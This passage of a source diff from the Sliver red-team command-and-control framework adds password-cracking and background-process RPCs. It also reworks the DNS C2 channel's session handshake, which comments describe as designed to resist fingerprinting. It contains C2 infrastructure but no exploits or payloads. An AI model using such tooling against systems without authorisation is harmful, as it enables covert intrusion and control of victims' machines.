rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||||
|
|||||||
@@ -98,6 +98,7 @@ type SliverRPCClient interface {
|
|||||||
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
|
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
|
||||||
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
|
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
|
||||||
// *** Crackstation ***
|
// *** Crackstation ***
|
||||||
|
Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error)
|
||||||
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
|
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
|
||||||
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||||
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||||
@@ -169,6 +170,7 @@ type SliverRPCClient interface {
|
|||||||
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
||||||
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||||
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||||
|
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
|
||||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||||
@@ -823,6 +825,15 @@ func (c *sliverRPCClient) GetCertificateAuthorityInfo(ctx context.Context, in *c
|
|||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) {
|
||||||
|
out := new(clientpb.CrackResponse)
|
||||||
|
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crack", in, out, opts...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
|
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
|
||||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
|
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -1458,6 +1469,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
|
|||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
|
||||||
|
out := new(sliverpb.ExecuteChildren)
|
||||||
|
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
||||||
out := new(sliverpb.Sideload)
|
out := new(sliverpb.Sideload)
|
||||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
||||||
@@ -2110,6 +2130,7 @@ type SliverRPCServer interface {
|
|||||||
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
|
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
|
||||||
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
|
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
|
||||||
// *** Crackstation ***
|
// *** Crackstation ***
|
||||||
|
Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error)
|
||||||
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
|
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
|
||||||
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
||||||
CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
|
CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
|
||||||
@@ -2181,6 +2202,7 @@ type SliverRPCServer interface {
|
|||||||
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
||||||
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
||||||
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
||||||
|
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
|
||||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||||
@@ -2430,6 +2452,9 @@ func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientp
|
|||||||
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
|
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
|
||||||
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
|
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
|
||||||
}
|
}
|
||||||
|
func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||||
|
return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented")
|
||||||
|
}
|
||||||
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
|
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
|
||||||
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
|
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
|
||||||
}
|
}
|
||||||
@@ -2634,6 +2659,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
|
|||||||
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
||||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
||||||
}
|
}
|
||||||
|
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||||
|
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
|
||||||
|
}
|
||||||
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
||||||
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
||||||
}
|
}
|
||||||
@@ -3888,6 +3916,24 @@ func _SliverRPC_GetCertificateAuthorityInfo_Handler(srv interface{}, ctx context
|
|||||||
return interceptor(ctx, in, info, handler)
|
return interceptor(ctx, in, info, handler)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func _SliverRPC_Crack_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||||
|
in := new(clientpb.CrackCommand)
|
||||||
|
if err := dec(in); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if interceptor == nil {
|
||||||
|
return srv.(SliverRPCServer).Crack(ctx, in)
|
||||||
|
}
|
||||||
|
info := &grpc.UnaryServerInfo{
|
||||||
|
Server: srv,
|
||||||
|
FullMethod: "/rpcpb.SliverRPC/Crack",
|
||||||
|
}
|
||||||
|
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||||
|
return srv.(SliverRPCServer).Crack(ctx, req.(*clientpb.CrackCommand))
|
||||||
|
}
|
||||||
|
return interceptor(ctx, in, info, handler)
|
||||||
|
}
|
||||||
|
|
||||||
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
||||||
m := new(clientpb.Crackstation)
|
m := new(clientpb.Crackstation)
|
||||||
if err := stream.RecvMsg(m); err != nil {
|
if err := stream.RecvMsg(m); err != nil {
|
||||||
@@ -5115,6 +5161,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
|
|||||||
return interceptor(ctx, in, info, handler)
|
return interceptor(ctx, in, info, handler)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||||
|
in := new(sliverpb.ExecuteChildrenReq)
|
||||||
|
if err := dec(in); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if interceptor == nil {
|
||||||
|
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
|
||||||
|
}
|
||||||
|
info := &grpc.UnaryServerInfo{
|
||||||
|
Server: srv,
|
||||||
|
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
|
||||||
|
}
|
||||||
|
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||||
|
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
|
||||||
|
}
|
||||||
|
return interceptor(ctx, in, info, handler)
|
||||||
|
}
|
||||||
|
|
||||||
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||||
in := new(sliverpb.SideloadReq)
|
in := new(sliverpb.SideloadReq)
|
||||||
if err := dec(in); err != nil {
|
if err := dec(in); err != nil {
|
||||||
@@ -6377,6 +6441,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
|||||||
MethodName: "GetCertificateAuthorityInfo",
|
MethodName: "GetCertificateAuthorityInfo",
|
||||||
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
|
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
MethodName: "Crack",
|
||||||
|
Handler: _SliverRPC_Crack_Handler,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
MethodName: "CrackstationTrigger",
|
MethodName: "CrackstationTrigger",
|
||||||
Handler: _SliverRPC_CrackstationTrigger_Handler,
|
Handler: _SliverRPC_CrackstationTrigger_Handler,
|
||||||
@@ -6645,6 +6713,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
|||||||
MethodName: "ExecuteWindows",
|
MethodName: "ExecuteWindows",
|
||||||
Handler: _SliverRPC_ExecuteWindows_Handler,
|
Handler: _SliverRPC_ExecuteWindows_Handler,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
MethodName: "ExecuteChildren",
|
||||||
|
Handler: _SliverRPC_ExecuteChildren_Handler,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
MethodName: "Sideload",
|
MethodName: "Sideload",
|
||||||
Handler: _SliverRPC_Sideload_Handler,
|
Handler: _SliverRPC_Sideload_Handler,
|
||||||
|
|||||||
@@ -355,6 +355,9 @@ const (
|
|||||||
|
|
||||||
// MsgShellResizeReq - Resize a shell PTY
|
// MsgShellResizeReq - Resize a shell PTY
|
||||||
MsgShellResizeReq
|
MsgShellResizeReq
|
||||||
|
|
||||||
|
// MsgExecuteChildrenReq - List tracked background execute child processes
|
||||||
|
MsgExecuteChildrenReq
|
||||||
)
|
)
|
||||||
|
|
||||||
// Constants to replace enums
|
// Constants to replace enums
|
||||||
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
|
|||||||
return MsgIfconfig
|
return MsgIfconfig
|
||||||
case *ExecuteReq:
|
case *ExecuteReq:
|
||||||
return MsgExecuteReq
|
return MsgExecuteReq
|
||||||
|
case *ExecuteChildrenReq:
|
||||||
|
return MsgExecuteChildrenReq
|
||||||
case *TerminateReq:
|
case *TerminateReq:
|
||||||
return MsgTerminateReq
|
return MsgTerminateReq
|
||||||
case *Terminate:
|
case *Terminate:
|
||||||
|
|||||||
+1956
-1646
File diff suppressed because it is too large.
Load diff
@@ -517,6 +517,7 @@ message ExecuteReq {
|
|||||||
string Stderr = 5;
|
string Stderr = 5;
|
||||||
bool EnvInheritance = 6;
|
bool EnvInheritance = 6;
|
||||||
map<string, string> Env = 7;
|
map<string, string> Env = 7;
|
||||||
|
bool Background = 8;
|
||||||
|
|
||||||
uint32 PPid = 10;
|
uint32 PPid = 10;
|
||||||
|
|
||||||
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
|
|||||||
string Stderr = 5;
|
string Stderr = 5;
|
||||||
bool UseToken = 6;
|
bool UseToken = 6;
|
||||||
bool HideWindow = 7;
|
bool HideWindow = 7;
|
||||||
|
bool Background = 8;
|
||||||
uint32 PPid = 10;
|
uint32 PPid = 10;
|
||||||
|
|
||||||
commonpb.Request Request = 9;
|
commonpb.Request Request = 9;
|
||||||
@@ -545,6 +547,31 @@ message Execute {
|
|||||||
commonpb.Response Response = 9;
|
commonpb.Response Response = 9;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
message ExecuteChildrenReq {
|
||||||
|
commonpb.Request Request = 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
message ExecuteChild {
|
||||||
|
int32 Pid = 1;
|
||||||
|
string Path = 2;
|
||||||
|
repeated string Args = 3;
|
||||||
|
|
||||||
|
int64 StartTime = 4;
|
||||||
|
bool Exited = 5;
|
||||||
|
int32 ExitCode = 6;
|
||||||
|
int64 ExitTime = 7;
|
||||||
|
|
||||||
|
string Stdout = 8;
|
||||||
|
string Stderr = 11;
|
||||||
|
string Error = 12;
|
||||||
|
}
|
||||||
|
|
||||||
|
message ExecuteChildren {
|
||||||
|
repeated ExecuteChild Children = 1;
|
||||||
|
|
||||||
|
commonpb.Response Response = 9;
|
||||||
|
}
|
||||||
|
|
||||||
message SideloadReq {
|
message SideloadReq {
|
||||||
bytes Data = 1;
|
bytes Data = 1;
|
||||||
string ProcessName = 2;
|
string ProcessName = 2;
|
||||||
|
|||||||
+185
-66
@@ -21,14 +21,12 @@ package c2
|
|||||||
|
|
||||||
We've put a little effort to making the server at least not super easily fingerprintable,
|
We've put a little effort to making the server at least not super easily fingerprintable,
|
||||||
though I'm guessing it's also still not super hard to do. The server must receive a valid
|
though I'm guessing it's also still not super hard to do. The server must receive a valid
|
||||||
TOTP code before we start returning any non-error records. All requests must be formatted
|
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
|
||||||
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
|
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||||
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
|
|
||||||
16,777,216 can probably be bruteforced but it'll at least be slow.
|
|
||||||
|
|
||||||
DNS command and control outline:
|
DNS command and control outline:
|
||||||
1. Implant sends TOTP encoded message to DNS server, server checks validity
|
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
|
||||||
2. DNS server responds with the "DNS Session ID" which is just some random value
|
2. DNS server validates INIT and allocates session state
|
||||||
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
|
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
|
||||||
4. Implant establishes encrypted session
|
4. Implant establishes encrypted session
|
||||||
|
|
||||||
@@ -44,6 +42,7 @@ import (
|
|||||||
"sort"
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
@@ -66,6 +65,17 @@ const (
|
|||||||
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
|
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
|
||||||
|
|
||||||
defaultMaxTXTLength = 254
|
defaultMaxTXTLength = 254
|
||||||
|
|
||||||
|
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
|
||||||
|
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
|
||||||
|
defaultMaxPendingDNSInits = 1024
|
||||||
|
|
||||||
|
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
|
||||||
|
defaultPendingDNSInitTTL = 2 * time.Minute
|
||||||
|
defaultPendingDNSInitGCInterval = 30 * time.Second
|
||||||
|
|
||||||
|
// INIT carries only key-exchange material and should remain small.
|
||||||
|
defaultMaxDNSInitSize = 16 * 1024
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -78,7 +88,7 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// StartDNSListener - Start a DNS listener
|
// StartDNSListener - Start a DNS listener
|
||||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
|
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
|
||||||
// StartPivotListener()
|
// StartPivotListener()
|
||||||
server := &SliverDNSServer{
|
server := &SliverDNSServer{
|
||||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||||
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
|||||||
messages: &sync.Map{}, // In progress message streams
|
messages: &sync.Map{}, // In progress message streams
|
||||||
TTL: 0,
|
TTL: 0,
|
||||||
MaxTXTLength: defaultMaxTXTLength,
|
MaxTXTLength: defaultMaxTXTLength,
|
||||||
EnforceOTP: enforceOTP,
|
|
||||||
}
|
}
|
||||||
|
server.startInitGC()
|
||||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||||
started := time.Now()
|
started := time.Now()
|
||||||
@@ -103,6 +113,9 @@ type DNSSession struct {
|
|||||||
ImplantConn *core.ImplantConnection
|
ImplantConn *core.ImplantConnection
|
||||||
CipherCtx *cryptography.CipherContext
|
CipherCtx *cryptography.CipherContext
|
||||||
|
|
||||||
|
Created time.Time
|
||||||
|
lastSeen atomic.Int64 // unix nanos
|
||||||
|
|
||||||
dnsIdMsgIdMap map[uint32]uint32
|
dnsIdMsgIdMap map[uint32]uint32
|
||||||
outgoingMsgIDs []uint32
|
outgoingMsgIDs []uint32
|
||||||
outgoingBuffers map[uint32][]byte
|
outgoingBuffers map[uint32][]byte
|
||||||
@@ -113,6 +126,10 @@ type DNSSession struct {
|
|||||||
msgCount uint32
|
msgCount uint32
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (s *DNSSession) touch(now time.Time) {
|
||||||
|
s.lastSeen.Store(now.UnixNano())
|
||||||
|
}
|
||||||
|
|
||||||
func (s *DNSSession) msgID(id uint32) uint32 {
|
func (s *DNSSession) msgID(id uint32) uint32 {
|
||||||
return uint32(id<<24) | uint32(s.ID)
|
return uint32(id<<24) | uint32(s.ID)
|
||||||
}
|
}
|
||||||
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
|
|||||||
complete bool
|
complete bool
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// pendingInit tracks the reassembly state for an INIT message (which may arrive
|
||||||
|
// split across multiple DNS queries).
|
||||||
|
type pendingInit struct {
|
||||||
|
Created time.Time
|
||||||
|
Envelope *PendingEnvelope
|
||||||
|
}
|
||||||
|
|
||||||
// Reassemble - Reassemble a completed message
|
// Reassemble - Reassemble a completed message
|
||||||
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
||||||
// There's some weird race here with a nil pointer
|
// There's some weird race here with a nil pointer
|
||||||
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
|
|||||||
messages *sync.Map
|
messages *sync.Map
|
||||||
TTL uint32
|
TTL uint32
|
||||||
MaxTXTLength int
|
MaxTXTLength int
|
||||||
EnforceOTP bool
|
|
||||||
|
pendingInits atomic.Int64
|
||||||
|
gcStopOnce sync.Once
|
||||||
|
gcStop chan struct{}
|
||||||
|
gcDone chan struct{}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Shutdown - Shutdown the DNS server
|
// Shutdown - Shutdown the DNS server
|
||||||
func (s *SliverDNSServer) Shutdown() error {
|
func (s *SliverDNSServer) Shutdown() error {
|
||||||
|
s.gcStopOnce.Do(func() {
|
||||||
|
if s.gcStop != nil {
|
||||||
|
close(s.gcStop)
|
||||||
|
if s.gcDone != nil {
|
||||||
|
<-s.gcDone
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
return s.server.Shutdown()
|
return s.server.Shutdown()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
|
|||||||
return s.server.ListenAndServe()
|
return s.server.ListenAndServe()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (s *SliverDNSServer) startInitGC() {
|
||||||
|
// Tests construct SliverDNSServer directly; only start GC for real listeners.
|
||||||
|
if s.gcStop != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.gcStop = make(chan struct{})
|
||||||
|
s.gcDone = make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
defer close(s.gcDone)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ticker.C:
|
||||||
|
s.gcPendingInits()
|
||||||
|
case <-s.gcStop:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *SliverDNSServer) gcPendingInits() {
|
||||||
|
now := time.Now()
|
||||||
|
var deleted int64
|
||||||
|
s.messages.Range(func(key, value any) bool {
|
||||||
|
p, ok := value.(*pendingInit)
|
||||||
|
if !ok || p == nil {
|
||||||
|
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||||
|
deleted++
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
created := p.Created
|
||||||
|
if created.IsZero() {
|
||||||
|
created = now
|
||||||
|
}
|
||||||
|
if now.Sub(created) > defaultPendingDNSInitTTL {
|
||||||
|
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||||
|
deleted++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
if deleted > 0 {
|
||||||
|
s.pendingInits.Add(-deleted)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ---------------------------
|
// ---------------------------
|
||||||
// DNS Handler
|
// DNS Handler
|
||||||
// ---------------------------
|
// ---------------------------
|
||||||
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
|
|||||||
resp = s.handleCanary(req)
|
resp = s.handleCanary(req)
|
||||||
}
|
}
|
||||||
if resp != nil {
|
if resp != nil {
|
||||||
|
// These responses often have near-max-length QNAMEs. Enable compression to
|
||||||
|
// keep UDP responses under the minimum DNS message size limits.
|
||||||
|
resp.Compress = true
|
||||||
writer.WriteMsg(resp)
|
writer.WriteMsg(resp)
|
||||||
} else {
|
} else {
|
||||||
dnsLog.Infof("Invalid query, no DNS response")
|
dnsLog.Infof("Invalid query, no DNS response")
|
||||||
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
|
|||||||
return s.nameErrorResp(req)
|
return s.nameErrorResp(req)
|
||||||
}
|
}
|
||||||
|
|
||||||
// TOTP Handler can be called without dns session ID
|
// INIT can be called without an existing server-side session. The server only
|
||||||
if msg.Type == dnspb.DNSMessageType_TOTP {
|
// stores session state after validating the key exchange.
|
||||||
return s.handleHello(domain, msg, req)
|
if msg.Type == dnspb.DNSMessageType_INIT {
|
||||||
|
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||||
}
|
}
|
||||||
|
|
||||||
// All other handlers require a valid dns session ID
|
// All other handlers require a valid dns session ID
|
||||||
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||||
if !ok {
|
if !ok {
|
||||||
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
|
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
|
||||||
return s.nameErrorResp(req)
|
return s.nameErrorResp(req)
|
||||||
}
|
}
|
||||||
|
